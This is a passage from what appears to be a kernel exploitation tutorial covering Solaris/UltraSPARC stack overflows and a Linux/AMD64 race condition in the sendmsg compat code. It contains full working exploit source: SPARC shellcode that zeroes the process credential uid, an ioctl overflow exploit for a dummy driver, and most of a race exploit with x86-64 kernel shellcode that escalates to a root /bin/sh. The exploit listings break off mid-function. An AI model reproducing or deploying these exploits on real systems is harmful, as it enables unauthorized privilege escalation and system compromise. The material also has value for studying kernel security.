not marked no-exec, so we can execute from there (for example the kernel stack, allocated from the seg_kp [kernel pageable memory] segment, is not executable). Let's see how 'u_psargs' is declared : < usr/src/common/sys/user.h > #define PSARGSZ 80 /* Space for exec arguments (used by ps(1)) */ #define MAXCOMLEN 16 /* <= MAXNAMLEN, >= sizeof (ac_comm) */ [...] typedef struct user { /* * These fields are initialized at process creation time and never * modified. They can be accessed without acquiring locks. */ struct execsw *u_execsw; /* pointer to exec switch entry */ auxv_t u_auxv[__KERN_NAUXV_IMPL]; /* aux vector from exec */ timestruc_t u_start; /* hrestime at process start */ clock_t u_ticks; /* lbolt at process start */ char u_comm[MAXCOMLEN + 1]; /* executable file name from exec */ char u_psargs[PSARGSZ]; /* arguments from exec */ int u_argc; /* value of argc passed to main() */ uintptr_t u_argv; /* value of argv passed to main() */ uintptr_t u_envp; /* value of envp passed to main() */ [...] < / > The idea is simple : we put our shellcode on the command line of our exploit (without 'zeros') and we calculate from the exported proc_t address the exact return address. This is enough to exploit all those situations where we have control of the execution flow _without_ trashing the stack (function pointer overwriting, slab overflow, etc). We have to remember to take care of the alignment, thou, since the UltraSPARC fetch unit raises an exception if the address it reads the instruction from is not aligned on a 4 bytes boundary (which is the size of every sparc instruction) : > ::offsetof proc_t p_user offsetof (proc_t, p_user) = 0x330 > ::offsetof user_t u_psargs offsetof (user_t, u_psargs) = 0x161 > Since the proc_t taken from the 'process cache' is always aligned to an 8 byte boundary, we have to jump 3 bytes after the starting of the u_psargs char array (which is where we'll put our shellcode). That means that we have space for 76 / 4 = 19 instructions, which is usually enough for average shellcodes.. but space is not really a limit since we can 'chain' more psargs struct from different processes, simply jumping from each others. Moreover we could write a two stage shellcode that would just start copying over our larger one from the userland using the load from alternate space instructions presented before. We're now facing a slightly more complex scenario, thou, which is the 'kernel stack overflow'. We assume here that you're somehow familiar with userland stack based exploiting (if you're not you can check [15] and [16]). The main problem here is that we have to find a way to safely return to userland once trashed the stack (and so, to reach the instruction pointer, the frame pointer). A good way to understand how the 'kernel stack' is used to return to userland is to follow the path of a system call. You can get a quite good primer here [17], but we think that a read through opensolaris sources is way better (you'll see also, following the sys_trap entry in uts/sun4u/ml/mach_locore.s, the code setting the nucleus context as the PContext register). Let's focus on the 'kernel stack' usage : < usr/src/uts/sun4u/ml/mach_locore.s > ALTENTRY(user_trap) ! ! user trap ! ! make all windows clean for kernel ! buy a window using the current thread's stack ! sethi %hi(nwin_minus_one), %g5 ld [%g5 + %lo(nwin_minus_one)], %g5 wrpr %g0, %g5, %cleanwin CPU_ADDR(%g5, %g6) ldn [%g5 + CPU_THREAD], %g5 ldn [%g5 + T_STACK], %g6 sub %g6, STACK_BIAS, %g6 save %g6, 0, %sp < / > In %g5 is saved the number of windows that are 'implemented' in the architecture minus one, which is, in that case, 8 - 1 = 7. CLEANWIN is set to that value since there are no windows in use out of the current one, and so the kernel has 7 free windows to use. The cpu_t struct addr is then saved in %g5 (by CPU_ADDR) and, from there, the thread pointer [ cpu_t->cpu_thread ] is obtained. From the kthread_t struct is obtained the 'kernel stack address' [the member name is called t_stk]. This one is a good news, since that member is easy accessible from within a shellcode (it's just a matter of correctly accessing the %g7 / thread pointer). From now on we can follow the sys_trap path and we'll be able to figure out what we will find on the stack just after the kthread_t->t_stk value and where. To that value is then subtracted 'STACK_BIAS' : the 64-bit v9 SPARC ABI specifies that the %fp and %sp register are offset by a constant, the stack bias, which is 2047 bits. This is one thing that we've to remember while writing our 'stack fixup' shellcode. On 32-bit running kernels the value of this constant is 0. The save below is another good news, because that means that we can use the t_stk value as a %fp (along with the 'right return address') to return at 'some valid point' inside the syscall path (and thus let it flow from there and cleanily get back to userspace). The question now is : at which point ? Do we have to 'hardcode' that return address or we can somehow gather it ? A further look at the syscall path reveals that : ENTRY_NP(utl0) SAVE_GLOBALS(%l7) SAVE_OUTS(%l7) mov %l6, THREAD_REG wrpr %g0, PSTATE_KERN, %pstate ! enable ints jmpl %l3, %o7 ! call trap handler mov %l7, %o0 And, that %l3 is : have_win: SYSTRAP_TRACE(%o1, %o2, %o3) ! ! at this point we have a new window we can play in, ! and %g6 is the label we want done to bounce to ! ! save needed current globals ! mov %g1, %l3 ! pc mov %g2, %o1 ! arg #1 mov %g3, %o2 ! arg #2 srlx %g3, 32, %o3 ! pseudo arg #3 srlx %g2, 32, %o4 ! pseudo arg #4 %g1 was preserved since : #define SYSCALL(which) \ TT_TRACE(trace_gen) ;\ set (which), %g1 ;\ ba,pt %xcc, sys_trap ;\ sub %g0, 1, %g4 ;\ .align 32 and so it is syscall_trap for LP64 syscall and syscall_trap32 for ILP32 syscall. Let's check if the stack layout is the one we expect to find : > ::ps ! grep snmp R 291 1 291 291 0 0x00020008 0000030000db4060 snmpXdmid R 278 1 278 278 0 0x00010008 0000030000d2f488 snmpdx > ::ps ! grep snmpdx R 278 1 278 278 0 0x00010008 0000030000d2f488 snmpdx > 0000030000d2f488::print proc_t p_tlist p_tlist = 0x30001dd4800 > 0x30001dd4800::print kthread_t t_stk t_stk = 0x2a100497af0 "" > 0x2a100497af0,16/K 0x2a100497af0: 1007374 2a100497ba0 30001dd2048 1038a3c 1449e10 0 30001dd4800 2a100497ba0 ffbff700 3 3a980 0 3a980 0 ffbff6a0 ff1525f0 0 0 0 0 0 0 > syscall_trap32=X 1038a3c > Analyzing the 'stack frame' we see that the saved %l6 is exactly THREAD_REG (the thread value, 30001dd4800) and %l3 is 1038a3c, the syscall_trap32 address. At that point we're ready to write our 'shellcode' : # cat sparc_stack_fixup64.s .globl begin .globl end begin: ldx [%g7+0x118], %l0 ldx [%l0+0x20], %l1 st %g0, [%l1 + 4] ldx [%g7+8], %fp ldx [%fp+0x18], %i7 sub %fp,2047,%fp add 0xa8, %i7, %i7 ret restore end: # At that point it should be quite readable : it gets the t_procp address from the kthread_t struct and from there it gets the p_cred addr. It then sets to zero (the %g0 register is hardwired to zero) the cr_uid member of the cred_t struct and uses the kthread_t->t_stk value to set %fp. %fp is then dereferenced to get the 'syscall_trap32' address and the STACK_BIAS subtraction is then performed. The add 0xa8 is the only hardcoded value, and it's the 'return place' inside syscall_trap32. You can quickly derive it from a ::findstack dcmd with mdb. A more advanced shellcode could avoid this 'hardcoded value' by opcode scanning from the start of the syscall_trap32 function and looking for the jmpl %reg,%o7/nop sequence (syscall_trap32 doesn't get a new window, and stays in the one sys_trap had created) pattern. On all the boxes we tested it was always 0xa8, that's why we just left it hardcoded. As we said, we need the shellcode to be into the command line, 'shifted' of 3 bytes to obtain the correct alignment. To achieve that a simple launcher code was used : bash-2.05$ cat launcer_stack.c #include char sc[] = "\x66\x66\x66" // padding for alignment "\xe0\x59\xe1\x18\xe2\x5c\x20\x20\xc0\x24\x60\x04\xfc\x59\xe0" "\x08\xfe\x5f\xa0\x18\xbc\x27\xa7\xff\xbe\x07\xe0\xa8\x81" "\xc7\xe0\x08\x81\xe8\x00\x00"; int main() { execl("e", sc, NULL); return 0; } bash-2.05$ The shellcode is the one presented before. Before showing the exploit code, let's just paste the vulnerable code, from the dummy driver provided for Solaris : < stuff/drivers/solaris/test.c > [...] static int handle_stack (intptr_t arg) { char buf[32]; struct test_comunique t_c; ddi_copyin((void *)arg, &t_c, sizeof(struct test_comunique), 0); cmn_err(CE_CONT, "Requested to copy over buf %d bytes from %p\n", t_c.size, &buf); ddi_copyin((void *)t_c.addr, buf, t_c.size, 0); [1] return 0; } static int test_ioctl (dev_t dev, int cmd, intptr_t arg, int mode, cred_t *cred_p, int *rval_p ) { cmn_err(CE_CONT, "ioctl called : cred %d %d\n", cred_p->cr_uid, cred_p->cr_gid); switch ( cmd ) { case TEST_STACKOVF: { handle_stack(arg); } [...] < / > The vulnerability is quite self explanatory and is a lack of 'input sanitizing' before calling the ddi_copyin at [1]. Exploit follows : < stuff/expl/solaris/e_stack.c > #include #include #include #include #include #include #include #include "test.h" #define BUFSIZ 192 char buf[192]; typedef struct psinfo { int pr_flag; /* process flags */ int pr_nlwp; /* number of lwps in process */ pid_t pr_pid; /* unique process id */ pid_t pr_ppid; /* process id of parent */ pid_t pr_pgid; /* pid of process group leader */ pid_t pr_sid; /* session id */ uid_t pr_uid; /* real user id */ uid_t pr_euid; /* effective user id */ gid_t pr_gid; /* real group id */ gid_t pr_egid; /* effective group id */ uintptr_t pr_addr; /* address of process */ size_t pr_size; /* size of process image in Kbytes */ } psinfo_t; #define ALIGNPAD 3 #define PSINFO_PATH "/proc/self/psinfo" unsigned long getaddr() { psinfo_t info; int fd; fd = open(PSINFO_PATH, O_RDONLY); if ( fd == -1) { perror("open"); return -1; } read(fd, (char *)&info, sizeof (info)); close(fd); return info.pr_addr; } #define UPSARGS_OFFSET 0x330 + 0x161 int exploit_me() { char *argv[] = { "princess", NULL }; char *envp[] = { "TERM=vt100", "BASH_HISTORY=/dev/null", "HISTORY=/dev/null", "history=/dev/null", "PATH=/bin:/sbin:/usr/bin:/usr/sbin:/usr/local/bin:/usr/local/sbin", "HISTFILE=/dev/null", NULL }; printf("Pleased to see you, my Princess\n"); setreuid(0, 0); setregid(0, 0); execve("/bin/sh", argv, envp); exit(0); } #define SAFE_FP 0x0000000001800040 + 1 #define DUMMY_FILE "/tmp/test" int main() { int fd; int ret; struct test_comunique t; unsigned long *pbuf, retaddr, p_addr; memset(buf, 'A', BUFSIZ); p_addr = getaddr(); printf("[*] - Using proc_t addr : %p \n", p_addr); retaddr = p_addr + UPSARGS_OFFSET + ALIGNPAD; printf("[*] - Using ret addr : %p\n", retaddr); pbuf = &buf[32]; pbuf += 2; /* locals */ for ( ret = 0; ret < 14; ret++ ) *pbuf++ = 0xBBBBBBBB + ret; *pbuf++ = SAFE_FP; *pbuf = retaddr - 8; t.size = sizeof(buf); t.addr = buf; fd = open(DUMMY_FILE, O_RDONLY); ret = ioctl(fd, 1, &t); printf("fun %d\n", ret); exploit_me(); close(fd); } < / > The exploit is quite simple (we apologies, but we didn't have a public one to show at time of writing) : - getaddr() uses procfs exported psinfo data to get the proc_t address of the running process. - the return addr is calculated from proc_t addr + the offset of the u_psargs array + the three needed bytes for alignment - SAFE_FP points just 'somewhere in the data segment' (and ready to be biased for the real dereference). Due to SPARC window mechanism we have to provide a valid address that it will be used to 'load' the saved procedure registers upon re-entering. We don't write on that address so whatever readable kernel part is safe. (in more complex scenarios you could have to write over too, so take care). - /tmp/test is just a link to the /devices/pseudo/test@0:0 file - the exploit has to be compiled as a 32-bit executable, so that the syscall_trap32 offset is meaningful You can compile and test the driver on your boxes, it's really simple. You can extend it to test more scenarios, the skeleton is ready for it. ------[ 2.4 - A primer on logical bugs : race conditions Heap and Stack Overflow (even more, NULL pointer dereference) are seldomly found on their own, and, since the automatic and human auditing work goes on and on, they're going to be even more rare. What will probably survive for more time are 'logical bugs', which may lead, at the end, to a classic overflow. Figure out a modelization of 'logical bugs' is, in our opinion, nearly impossible, each one is a story on itself. Notwithstanding this, one typology of those is quite interesting (and 'widespread') and at least some basic approaches to it are suitable for a generic description. We're talking about 'race conditions'. In short, we have a race condition everytime we have a small window of time that we can use to subvert the operating system behaviour. A race condition is usually the consequence of a forgotten lock or other syncronization primitive or the use of a variable 'too much time after' the sanitizing of its value. Just point your favorite vuln database search engine towards 'kernel race condition' and you'll find many different examples. Winning the race is our goal. This is easier on SMP systems, since the two racing threads (the one following the 'raceable kernel path' and the other competing to win the race) can be scheduled (and be bounded) on different CPUs. We just need to have the 'racing thread' go faster than the other one, since they both can execute in parallel. Winning a race on UP is harder : we have to force the first kernel path to sleep (and thus to re-schedule). We have also to 'force' the scheduler into selecting our 'racing' thread, so we have to take care of scheduling algorithm implementation (ex. priority based). On a system with a low CPU load this is generally easy to get : the racing thread is usually 'spinning' on some condition and is likely the best candidate on the runqueue. We're going now to focus more on 'forcing' a kernel path to sleep, analyzing the nowadays common interface to access files, the page cache. After that we'll present the AMD64 architecture and show a real race exploit for Linux on it, based on the sendmsg [5] vulnerability. Winning the race in that case turns the vuln into a stack based one, so the discussion will analize stack based explotation on Linux/AMD64 too. ---[ 2.4.1 - Forcing a kernel path to sleep If you want to win a race, what's better than slowing down your opponent? And what's slower than accessing the hard disk, in a modern computer ? Operating systems designers know that the I/O over the disk is one of the major bottleneck on system performances and know aswell that it is one of the most frequent operations requested. Disk accessing and Virtual Memory are closely tied : virtual memory needs to access the disk to accomplish demand paging and in/out swapping, while the filesystem based I/O (both direct read/write and memory mapping of files) works in units of pages and relays on VM functions to perform the write out of 'dirty' pages. Moreover, to sensibly increase performances, frequently accessed disk pages are kept in RAM, into the so-called 'Page Cache'. Since RAM isn't an inexhaustible resource, pages to be loaded and 'cached' into it have to be carefully 'selected'. The first skimming is made by the 'Demand Paging' approach : a page is loaded from disk into memory only when it is referenced, by the page fault handler code. Once a filesystem page is loaded into memory, it enters into the 'Page Cache' and stays in memory for an unspecified time (depending on disk activity and RAM availability, generally a LRU policy is used as an evict-policy). Since it's quite common for an userland application to repeatedly access the same disk content/pages (or for different applications, to access common files), the 'Page Cache' sensibly increases performances. One last thing that we have to discuss is the filesystem 'page clustering'. Another common principle in 'caching' is the 'locality'. Pages near the referenced one are likely to be accessed in a near future and since we're accessing the disk we can avoid the future seek-rotation latency if we load in more pages after the referenced one. How many to load is determined by the page cluster value. On Linux that value is 3, so 2^3 pages are loaded after the referenced one. On Solaris, if the pages are 8-kb sized, the next eight pages on a 64kb boundary are brought in by the seg_vn driver (mmap-case). Putting all together, if we want to force a kernel path to sleep we need to make it reference an un-cached page, so that a 'fault' happens due to demand paging implementation. The page fault handler needs to perform disk I/O, so the process is put to sleep and another one is selected by the scheduler. Since probably we want aswell our 'controlled contents' to be at the faulting address we need to mmap the pages, modify them and then exhaust the page cache before making the kernel re-access them again. Filling the 'page cache' has also the effect of consuming a large quantity of RAM and thus increasing the in/out swapping. On modern operating systems one can't create a condition of memory pressure only by exhausting the page cache (as it was possible on very old implementations), since only some amount of RAM is dedicated to the Page Cache and it would keep on stealing pages from itself, leaving other subsystems free to perform well. But we can manage to exhaust those subsystem aswell, for example by making the kernel do a large amount of 'surviving' slab-allocations. Working to put the VM under pressure is something to take always in mind, since, done that, one can manage to slow down the kernel (favouring races) and make kmalloc or other allocation function to fail. (A thing that seldomly happens on normal behaviour). It is time, now, for another real life situation. We'll show the sendmsg [5] vulnerability and exploiting code and we'll describe briefly the AMD64 architectural more exploiting-relevant details. ---[ 2.4.2 - AMD64 and race condition exploiting: sendmsg AMD64 is the 64-bit 'extension' of the x86 architecture, which is natively supported. It supports 64-bit registers, pointers/virtual addresses and integer/logic operations. AMD64 has two primary modes of operation, 'Long mode', which is the standard 64-bit one (32-bit and 16-bit binaries can be still run with almost no performance impact, or even, if recompiled, with some benefit from the extended number of registers, thanks to the sometimes-called 'compatibility mode') and 'Legacy mode', for 32-bit operating systems, which is basically just like having a standard x86 processor environment. Even if we won't use all of them in the sendmsg exploit, we're going now to sum a couple of interesting features of the AMD64 architecture : - The number of general purpose register has been extended from 8 up to 16. The registers are all 64-bit long (referred with 'r[name|num]', f.e. rax, r10). Just like what happened when took over the transition from 16-bit to 32-bit, the lower 32-bit of general purpose register are accessible with the 'e' prefix (f.e. eax). - push/pop on the stack are 64-bit operations, so 8 bytes are pushed/popped each time. Pointers are 64-bit too and that allows a theorical virtual address space of 2^64 bytes. As happens for the UltraSPARC architecture, current implementations address a limited virtual address space (2^48 bytes) and thus have a VA-hole (the least significant 48 bits are used and bits from 48 up to 63 must be copies of bit 47 : the hole is thus between 0x7FFFFFFFFFFF and 0xFFFF800000000000). This limitation is strictly implementation-dependant, so any future implementation might take advantage of the full 2^64 bytes range. - It is now possible to reference data relative to the Instruction Pointer register (RIP). This is both a good and a bad news, since it makes easier writing position independent (shell)code, but also makes it more efficient (opening the way for more performant PIE-alike implementations) - The (in)famous NX bit (bit 63 of the page table entry) is implemented and so pages can be marked as No-Exec by the operating system. This is less an issue than over UltraSPARC since actually there's no operating system which implements a separated userspace/kernelspace addressing, thus leaving open space to the use of the 'return-to-userspace' tecnique. - AMD64 doesn't support anymore (in 'long mode') the use of segmentation. This choice makes harder, in our opinion, the creation of a separated user/kernel address space. Moreover the FS and GS registers are still used for different pourposes. As we'll see, the Linux Operating System keeps the GS register pointing to the 'current' PDA (Per Processor Data Structure). (check : /include/asm-x86_64/pda.h struct x8664_pda .. anyway we'll get back on that in a short). After this brief summary (if you want to learn more about the AMD64 architecture you can check the reference manuals at [3]) it is time now to focus over the 'real vulnerability', the sendmsg [5] one : "When we copy 32bit ->msg_control contents to kernel, we walk the same userland data twice without sanity checks on the second pass. Moreover, if original looks small enough, we end up copying to on-stack array." < linux-2.6.9/net/compat.c > int cmsghdr_from_user_compat_to_kern(struct msghdr *kmsg, unsigned char *stackbuf, int stackbuf_size) { struct compat_cmsghdr __user *ucmsg; struct cmsghdr *kcmsg, *kcmsg_base; compat_size_t ucmlen; __kernel_size_t kcmlen, tmp; kcmlen = 0; kcmsg_base = kcmsg = (struct cmsghdr *)stackbuf; [1] [...] while(ucmsg != NULL) { if(get_user(ucmlen, &ucmsg->cmsg_len)) [2] return -EFAULT; /* Catch bogons. */ if(CMSG_COMPAT_ALIGN(ucmlen) < CMSG_COMPAT_ALIGN(sizeof(struct compat_cmsghdr))) return -EINVAL; if((unsigned long)(((char __user *)ucmsg - (char __user *)kmsg->msg_control) + ucmlen) > kmsg->msg_controllen) [3] return -EINVAL; tmp = ((ucmlen - CMSG_COMPAT_ALIGN(sizeof(*ucmsg))) + CMSG_ALIGN(sizeof(struct cmsghdr))); kcmlen += tmp; [4] ucmsg = cmsg_compat_nxthdr(kmsg, ucmsg, ucmlen); } [...] if(kcmlen > stackbuf_size) [5] kcmsg_base = kcmsg = kmalloc(kcmlen, GFP_KERNEL); [...] while(ucmsg != NULL) { __get_user(ucmlen, &ucmsg->cmsg_len); [6] tmp = ((ucmlen - CMSG_COMPAT_ALIGN(sizeof(*ucmsg))) + CMSG_ALIGN(sizeof(struct cmsghdr))); kcmsg->cmsg_len = tmp; __get_user(kcmsg->cmsg_level, &ucmsg->cmsg_level); __get_user(kcmsg->cmsg_type, &ucmsg->cmsg_type); /* Copy over the data. */ if(copy_from_user(CMSG_DATA(kcmsg), [7] CMSG_COMPAT_DATA(ucmsg), (ucmlen - CMSG_COMPAT_ALIGN(sizeof(*ucmsg))))) goto out_free_efault; < / > As it is said in the advisory, the vulnerability is a double-reference to some userland data (at [2] and at [6]) without sanitizing the value the second time it is got from the userland (at [3] the check is performed, instead). That 'data' is the 'size' of the user-part to copy-in ('ucmlen'), and it's used, at [7], inside the copy_from_user. This is a pretty common scenario for a race condition : if we create two different threads, make the first one enter the codepath and , after [4], we manage to put it to sleep and make the scheduler choice the other thread, we can change the 'ucmlen' value and thus perform a 'buffer overflow'. The kind of overflow we're going to perform is 'decided' at [5] : if the len is little, the buffer used will be in the stack, otherwise it will be kmalloc'ed. Both the situation are exploitable, but we've chosen the stack based one (we have already presented a slab exploit for the Linux operating system before). We're going to use, inside the exploit, the tecnique we've presented in the subsection before to force a process to sleep, that is making it access data on a cross page boundary (with the second page never referenced before nor already swapped in by the page clustering mechanism) : +------------+ --------> 0x20020000 [MMAP_ADDR + 32 * PAGE_SIZE] [*] | | | cmsg_len | first cmsg_len starts at 0x2001fff4 | cmsg_level | first struct compat_cmsghdr | cmsg_type | |------------| --------> 0x20020000 [cross page boundary] | cmsg_len | second cmsg_len starts at 0x20020000) | cmsg_level | second struct compat_cmsghdr | cmsg_type | | | +------------+ --------> 0x20021000 [*] One of those so-called 'runtime adjustement'. The page clustering wasn't showing the expected behaviour in the first 32 mmaped-pages, while was just working as expected after. As we said, we're going to perform a stack-based explotation writing past the 'stackbuf' variable. Let's see where we get it from : < linux-2.6.9/net/socket.c > asmlinkage long sys_sendmsg(int fd, struct msghdr __user *msg, unsigned flags) { struct compat_msghdr __user *msg_compat = (struct compat_msghdr __user *)msg; struct socket *sock; char address[MAX_SOCK_ADDR]; struct iovec iovstack[UIO_FASTIOV], *iov = iovstack; unsigned char ctl[sizeof(struct cmsghdr) + 20]; unsigned char *ctl_buf = ctl; struct msghdr msg_sys; int err, ctl_len, iov_size, total_len; [...] if ((MSG_CMSG_COMPAT & flags) && ctl_len) { err = cmsghdr_from_user_compat_to_kern(&msg_sys, ctl, sizeof(ctl)); [...] < / > The situation is less nasty as it seems (at least on the systems we tested the code on) : thanks to gcc reordering the stack variables we get our 'msg_sys' struct placed as if it was the first variable. That simplifies a lot our exploiting task, since we don't have to take care of 'emulating' in userspace the structure referenced between our overflow and the 'return' of the function (for example the struct sock). Exploiting in this 'second case' would be slightly more complex, but doable aswell. The shellcode for the exploit is not much different (as expected, since the AMD64 is a 'superset' of the x86 architecture) from the ones provided before for the Linux/x86 environment, netherless we've two focus on two important different points : the 'thread/task struct dereference' and the 'userspace context switch approach'. For the first point, let's start analyzing the get_current() implementation : < linux-2.6.9/include/asm-x86_64/current.h > #include static inline struct task_struct *get_current(void) { struct task_struct *t = read_pda(pcurrent); return t; } #define current get_current() [...] #define GET_CURRENT(reg) movq %gs:(pda_pcurrent),reg < / > < linux-2.6.9/include/asm-x86_64/pda.h > struct x8664_pda { struct task_struct *pcurrent; /* Current process */ unsigned long data_offset; /* Per cpu data offset from linker address */ struct x8664_pda *me; /* Pointer to itself */ unsigned long kernelstack; /* top of kernel stack for current */ [...] #define pda_from_op(op,field) ({ \ typedef typeof_field(struct x8664_pda, field) T__; T__ ret__; \ switch (sizeof_field(struct x8664_pda, field)) { \ case 2: \ asm volatile(op "w %%gs:%P1,%0":"=r" (ret__):"i"(pda_offset(field)):"memory"); break;\ [...] #define read_pda(field) pda_from_op("mov",field) < / > The task_struct is thus no more into the 'current stack' (more precisely, referenced from the thread_struct which is actually saved into the 'current stack'), but is stored into the 'struct x8664_pda'. This struct keeps many information relative to the 'current' process and the CPU it is running over (kernel stack address, irq nesting counter, cpu it is running over, number of NMI on that cpu, etc). As you can see from the 'pda_from_op' macro, during the execution of a Kernel Path, the address of the 'struct x8664_pda' is kept inside the %gs register. Moreover, the 'pcurrent' member (which is the one we're actually interested in) is the first one, so obtaining it from inside a shellcode is just a matter of doing a : movq %gs:0x0, %rax From that point on the 'scanning' to locate uid/gid/etc is just the same used in the previously shown exploits. The second point which quite differs from the x86 case is the 'restore' part (which is, also, a direct consequence of the %gs using). First of all we have to do a '64-bit based' restore, that is we've to push the 64-bit registers RIP,CC,RFLAGS,RSP and SS and call, at the end, the 'iretq' instruction (the extended version of the 'iret' one on x86). Just before returning we've to remember to perform the 'swapgs' instruction, which swaps the %gs content with the one of the KernelGSbase (MSR address C000_0102h). If we don't perform the gs restoring, at the next syscall or interrupt the kernel will use an invalid value for the gs register and will just crash. Here's the shellcode in asm inline notation : void stub64bit() { asm volatile ( "movl %0, %%esi\t\n" "movq %%gs:0, %%rax\n" "xor %%ecx, %%ecx\t\n" "1: cmp $0x12c, %%ecx\t\n" "je 4f\t\n" "movl (%%rax), %%edx\t\n" "cmpl %%esi, %%edx\t\n" "jne 3f\t\n" "movl 0x4(%%rax),%%edx\t\n" "cmp %%esi, %%edx\t\n" "jne 3f\t\n" "xor %%edx, %%edx\t\n" "movl %%edx, 0x4(%%rax)\t\n" "jmp 4f\t\n" "3: add $4,%%rax\t\n" "inc %%ecx\t\n" "jmp 1b\t\n" "4:\t\n" "swapgs\t\n" "movq $0x000000000000002b,0x20(%%rsp)\t\n" "movq %1,0x18(%%rsp)\t\n" "movq $0x0000000000000246,0x10(%%rsp)\t\n" "movq $0x0000000000000023,0x8(%%rsp)\t\n" "movq %2,0x0(%%rsp)\t\n" "iretq\t\n" : : "i"(UID), "i"(STACK_OFFSET), "i"(CODE_OFFSET) ); } With UID being the 'uid' of the current running process and STACK_OFFSET and CODE_OFFSET the address of the stack and code 'segment' we're returning into in userspace. All those values are taken and patched at runtime in the exploit 'make_kjump' function : < stuff/expl/linux/sracemsg.c > #define PAGE_SIZE 0x1000 #define MMAP_ADDR ((void*)0x20000000) #define MMAP_NULL ((void*)0x00000000) #define PAGE_NUM 128 #define PATCH_CODE(base,offset,value) \ *((uint32_t *)((char*)base + offset)) = (uint32_t)(value) #define fatal_errno(x,y) { perror(x); exit(y); } struct cmsghdr *g_ancillary; /* global shared value to sync threads for race */ volatile static int glob_race = 0; #define UID_OFFSET 1 #define STACK_OFF_OFFSET 69 #define CODE_OFF_OFFSET 95 [...] int make_kjump(void) { void *stack_map = mmap((void*)(0x11110000), 0x2000, PROT_READ|PROT_WRITE, MAP_ANONYMOUS|MAP_PRIVATE|MAP_FIXED, 0, 0); if(stack_map == MAP_FAILED) fatal_errno("mmap", 1); void *shellcode_map = mmap(MMAP_NULL, 0x1000, PROT_READ|PROT_WRITE|PROT_EXEC, MAP_ANONYMOUS|MAP_PRIVATE|MAP_FIXED, 0, 0); if(shellcode_map == MAP_FAILED) fatal_errno("mmap", 1); memcpy(shellcode_map, kernel_stub, sizeof(kernel_stub)-1); PATCH_CODE(MMAP_NULL, UID_OFFSET, getuid()); PATCH_CODE(MMAP_NULL, STACK_OFF_OFFSET, 0x11111111); PATCH_CODE(MMAP_NULL, CODE_OFF_OFFSET, &eip_do_exit); } < / > The rest of the exploit should be quite self-explanatory and we're going to show the code here after in a short. Note the lowering of the priority inside start_thread_priority ('nice(19)'), so that we have some more chance to win the race (the 'glob_race' variable works just like a spinning lock for the main thread - check 'race_func()'). As a last note, we use the 'rdtsc' (read time stamp counter) instruction to calculate the time that intercurred while trying to win the race. If this gap is high it is quite probable that a scheduling happened. The task of 'flushing all pages' (inside page cache), so that we'll be sure that we'll end using demand paging on cross boundary access, is not implemented inside the code (it could have been easily added) and is left to the exploit runner. Since we have to create the file with controlled data, those pages end up cached in the page cache. We have to force the subsystem into discarding them. It shouldn't be hard for you, if you followed the discussion so far, to perform tasks that would 'flush the needed pages' (to disk) or add code to automatize it. (hint : mass find & cat * > /dev/null is an idea). Last but not least, since the vulnerable function is inside 'compat.c', which is the 'compatibility mode' to run 32-bit based binaries, remember to compile the exploit with the -m32 flag. < stuff/expl/linux/sracemsg.c > #include #include #include #include #include #include #include #include #include #include #include #include #define PAGE_SIZE 0x1000 #define MMAP_ADDR ((void*)0x20000000) #define MMAP_NULL ((void*)0x00000000) #define PAGE_NUM 128 #define PATCH_CODE(base,offset,value) \ *((uint32_t *)((char*)base + offset)) = (uint32_t)(value) #define fatal_errno(x,y) { perror(x); exit(y); } struct cmsghdr *g_ancillary; /* global shared value to sync threads for race */ volatile static int glob_race = 0; #define UID_OFFSET 1 #define STACK_OFF_OFFSET 69 #define CODE_OFF_OFFSET 95 char kernel_stub[] = "\xbe\xe8\x03\x00\x00" // mov $0x3e8,%esi "\x65\x48\x8b\x04\x25\x00\x00\x00\x00" // mov %gs:0x0,%rax "\x31\xc9" // xor %ecx,%ecx (15 "\x81\xf9\x2c\x01\x00\x00" // cmp $0x12c,%ecx "\x74\x1c" // je 400af0 "\x8b\x10" // mov (%rax),%edx "\x39\xf2" // cmp %esi,%edx "\x75\x0e" // jne 400ae8 "\x8b\x50\x04" // mov 0x4(%rax),%edx "\x39\xf2" // cmp %esi,%edx "\x75\x07" // jne 400ae8 "\x31\xd2" // xor %edx,%edx "\x89\x50\x04" // mov %edx,0x4(%rax) "\xeb\x08" // jmp 400af0 "\x48\x83\xc0\x04" // add $0x4,%rax "\xff\xc1" // inc %ecx "\xeb\xdc" // jmp 400acc "\x0f\x01\xf8" // swapgs (54 "\x48\xc7\x44\x24\x20\x2b\x00\x00\x00" // movq $0x2b,0x20(%rsp) "\x48\xc7\x44\x24\x18\x11\x11\x11\x11" // movq $0x11111111,0x18(%rsp) "\x48\xc7\x44\x24\x10\x46\x02\x00\x00" // movq $0x246,0x10(%rsp) "\x48\xc7\x44\x24\x08\x23\x00\x00\x00" // movq $0x23,0x8(%rsp) /* 23 32-bit , 33 64-bit cs */ "\x48\xc7\x04\x24\x22\x22\x22\x22" // movq $0x22222222,(%rsp) "\x48\xcf"; // iretq void eip_do_exit(void) { char *argvx[] = {"/bin/sh", NULL}; printf("uid=%d\n", geteuid()); execve("/bin/sh", argvx, NULL); exit(1); } /* * This function maps stack and code segment * - 0x0000000000000000 - 0x0000000000001000 (future code space) * - 0x0000000011110000 - 0x0000000011112000 (future stack space) */ int make_kjump(void) { void *stack_map = mmap((void*)(0x11110000), 0x2000, PROT_READ|PROT_WRITE, MAP_ANONYMOUS|MAP_PRIVATE|MAP_FIXED, 0, 0); if(stack_map == MAP_FAILED) fatal_errno("mmap", 1); void *shellcode_map = mmap(MMAP_NULL, 0x1000, PROT_READ|PROT_WRITE|PROT_EXEC, MAP_ANONYMOUS|MAP_PRIVATE|MAP_FIXED, 0, 0); if(shellcode_map == MAP_FAILED) fatal_errno("mmap", 1); memcpy(shellcode_map, kernel_stub, sizeof(kernel_stub)-1); PATCH_CODE(MMAP_NULL, UID_OFFSET, getuid()); PATCH_CODE(MMAP_NULL, STACK_OFF_OFFSET, 0x11111111); PATCH_CODE(MMAP_NULL, CODE_OFF_OFFSET, &eip_do_exit); } int start_thread_priority(int (*f)(void *), void* arg) { char *stack = malloc(PAGE_SIZE*4); int tid = clone(f, stack + PAGE_SIZE*4 -4, CLONE_FS|CLONE_FILES|CLONE_SIGHAND|CLONE_VM, arg); if(tid < 0) fatal_errno("clone", 1); nice(19); sleep(1); return tid; } int race_func(void* noarg) { printf("[*] thread racer getpid()=%d\n", getpid()); while(1) { if(glob_race) { g_ancillary->cmsg_len = 500; return; } } } uint64_t tsc() { uint64_t ret; asm volatile("rdtsc" : "=A"(ret)); return ret; } struct tsc_stamp { uint64_t before; uint64_t after; uint32_t access; }; struct tsc_stamp stamp[128]; inline char *flat_file_mmap(int fs) { void *addr = mmap(MMAP_ADDR, 